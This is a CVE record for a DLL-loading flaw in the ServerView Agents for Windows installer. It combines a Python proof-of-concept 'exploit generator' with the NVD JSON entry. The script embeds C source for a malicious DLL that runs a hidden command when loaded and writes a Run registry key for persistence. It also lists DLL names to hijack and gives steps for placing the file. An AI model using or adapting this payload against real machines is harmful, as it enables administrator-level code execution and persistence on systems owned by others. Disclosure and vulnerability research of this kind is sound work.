CVE-2026-24016

#!/usr/bin/env python3 # CVE-2026-24016 PoC - DLL Hijacking for ServerView Agents Installer # This PoC demonstrates how a malicious DLL can be placed to exploit DLL loading vulnerability import os import sys def create_malicious_dll(): """ Generate malicious DLL source code that will execute with admin privileges when loaded by the vulnerable installer. """ dll_source = ''' #include <windows.h> BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { if (fdwReason == DLL_PROCESS_ATTACH) { // Create a backdoor or execute malicious payload WinExec("cmd.exe /c whoami > C:\\\\temp\\\\pwned.txt", SW_HIDE); // Alternative: Add to startup for persistence HKEY hKey; RegOpenKeyEx(HKEY_CURRENT_USER, "SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run", 0, KEY_SET_VALUE, &hKey); RegSetValueEx(hKey, "ServerViewUpdate", 0, REG_SZ, (BYTE*)"malicious.exe", strlen("malicious.exe")); RegCloseKey(hKey); } return TRUE; } // Export functions that the installer expects to find extern "C" __declspec(dllexport) void SomeRequiredFunction() {} ''' return dll_source def generate_exploit_package(): """ Generate the exploit package structure for CVE-2026-24016 """ print("[*] CVE-2026-24016 DLL Hijacking Exploit Generator") print("[*] Target: ServerView Agents for Windows Installer") print("[*] Attack Vector: Place malicious DLL in installer directory") # Common DLLs that installers load and might be hijacked vulnerable_dlls = [ "version.dll", "setupapi.dll", "shell32.dll", "comctl32.dll", "ole32.dll" ] print("\n[+] Common targets for DLL hijacking:") for dll in vulnerable_dlls: print(f" - {dll}") print("\n[!] Note: Compile malicious DLL with required exports") print("[!] Place the DLL in the same directory as the installer") print("[!] When installer runs, it will load the malicious DLL") print("[!] Payload executes with Administrator privileges") if __name__ == "__main__": generate_exploit_package()

{"cve": {"id": "CVE-2026-24016", "sourceIdentifier": "[email protected]", "published": "2026-01-21T08:15:59.407", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The installer of ServerView Agents for Windows provided by Fsas Technologies Inc. may insecurely load Dynamic Link Libraries. Arbitrary code may be executed with the administrator privilege when the installer is executed."}, {"lang": "es", "value": "El instalador de ServerView Agents para Windows proporcionado por Fsas Technologies Inc. puede cargar de forma insegura librerías de Enlace Dinámico. Se puede ejecutar código arbitrario con privilegios de administrador cuando se ejecuta el instalador."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-427"}]}], "references": [{"url": "https://jvn.jp/en/jp/JVN65211823/", "source": "[email protected]"}, {"url": "https://www.fsastech.com/ja-jp/resources/security/2026/0121.html", "source": "[email protected]"}, {"url": "https://security.ts.fujitsu.com/ProductSecurity/content/FsasTech-PSIRT-FTI-ISS-2026-012107-Security-Notice.pdf", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}